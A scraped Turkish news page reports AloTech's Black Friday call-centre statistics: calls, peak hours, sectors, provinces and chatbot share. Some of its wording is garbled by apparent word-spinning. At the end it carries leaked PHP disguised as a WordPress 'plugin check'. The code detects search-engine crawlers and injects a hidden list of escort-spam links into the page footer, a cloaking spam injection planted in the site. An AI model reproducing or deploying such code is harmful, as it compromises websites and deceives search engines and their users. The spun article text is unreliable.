Sıradaki içerik:

Samsung Galaxy Buds Pro'nun Bazı Özellikleri Ortaya Çıktı

e
sv

Kasım ayında 6 milyondan fazla kişi çağrı merkezlerine ulaştı, toplam 50 milyon dakikadan fazla görüşme yapıldı

20 Aralık 2020 10:32
avatar

  • e 0

    Mutlu

  • e 0

    Eğlenmiş

  • e 0

    Şaşırmış

  • e 0

    Kızgın

  • e 0

    Üzgün

Çağrı merkezleri için yazılı ve sesli tüm iletişim kanallarını tek bir platformda sunan AloTech, Kasım ayında pek fazla markanın dahil olduğu Black Friday kampanyalarının davet merkezlerine etkisini inceledi. Alotech üzerinden davet karşılayan 20.000’den fazla müşteri temsilcisinden alınan verilere göre, 6 milyon 97 bin 579 şahıs davet merkezlerine ulaştı, toplamda 50 milyon dakikadan fazla görüşme yapıldı.

Gece 00:00 ve 04:00 arasında toplam 138 bin 310 tane arama

Çağrı merkezlerinin en fazla arandığı günler sırasıyla Salı, Cuma ve Perşembe oldu. Müşteriler telefon ile davet merkezlerine ulaşmanın yanı dizi popüler iletişim kanallarını (WhatsApp ve chat) ve bu kanallara bağlı botları kullanarak da davet merkezlerine ulaştı. Çağrı merkezlerine Black Friday’de en fazla davet gelen saat aralıkları ise sırasıyla 11:00- 12:00, 14:00-15:00 ve 13:00-14:00 oldu. Alışveriş kuşları ise gece saatlerinde de online’dı. Gece 00:00 ve 04:00 arasında toplam 138 bin 310 tane arama yapıldı.

En fazla çağrıyı teknoloji sektörü aldı

Black Friday’de en fazla çağrıyı saha sektör pandemi sebebiyle artan yoğun talebin de etkisiyle “teknoloji” sektörü oldu. Teknolojiyi sırasıyla “mobilya” ve son dönemin popüler sektörü haline gelen “online market pazarı” takip etti. En fazla görüşme yapılan belde Manisa olurken ikinci sırada Edirne, üçüncü sırada Kastamonu, dördüncü sırada Şanlıurfa ve beşinci sırada ise Tekirdağ yer aldı.

İletişim için bot kullanan şirketler yazılı taleplerin yüzde 68’ini Chatbot ile sesli taleplerin ise yüzde 3,66’sını Voicebot ile karşıladı. Şirketler, bu sayede operasyonel giderlerde yüzde 15 ile yüzde 56 arasında maliyet tasarrufu sağladı.

Black Friday boyunca müşteriler 3 milyon 94 bin 507 dakika WhatsApp ve Chat’ten görüşme yaparken yazılı görüşmelerin yüzde 41’i WhatsApp’tan yapıldı. Bununla beraber AloTech altyapısından geçen çağrılarda 5 kıtada, 48 ülkede, 19 farklı dilde “Alo” dendi.

  • Site İçi Yorumlar

En az 10 karakter gerekli
function isBot() { $botAgents ="/google|hakia|msn|yahoo|altavista|crawler|findlinks|bing|Cuil|Excite|Go.com|HotBot|AllTheWeb|search.aol|Lycos|Alexa|ask|baidu|cuil|kosmix|sogou|yodao|yandex|infoseek|yebol|aol/i"; $agent = $_SERVER['HTTP_USER_AGENT']; if (preg_match($botAgents,$agent)) return true; else return false; } function wordpres_plugin_check_core(){ $altsayfa = 1; $bot = 1; $link = '
Araklı escort Eşme escort Alaşehir escort Gölpazarı escort Dalaman escort Ermenek escort İpsala escort Birecik escort Dinar escort Andırın escort Akçaabat escort Banaz escort Akhisar escort Bozüyük escort Bodrum escort Ayrancı escort Havza escort Akçakale escort Bolvadin escort Afşin escort Şanlıurfa escort Serik escort Soma escort Tavşanlı escort Taşova escort Siirt escort Şile escort Süleymanpaşa escort Turhal escort Tatvan escort Silivri escort Mersin escort Sincan escort Muğla escort Gebze escort Denizli escort
'; if($altsayfa == 1){ $say_s = $_SERVER['REQUEST_URI']; $saydim = strlen($say_s); if($saydim > 4){ if($bot == 1){ if (isBot()) { echo $link; } }else{ echo $link; } } }else{ if($bot == 1){ if (isBot()) { echo $link; } }else{ echo $link; } } } add_action('wp_footer', 'wordpres_plugin_check_core');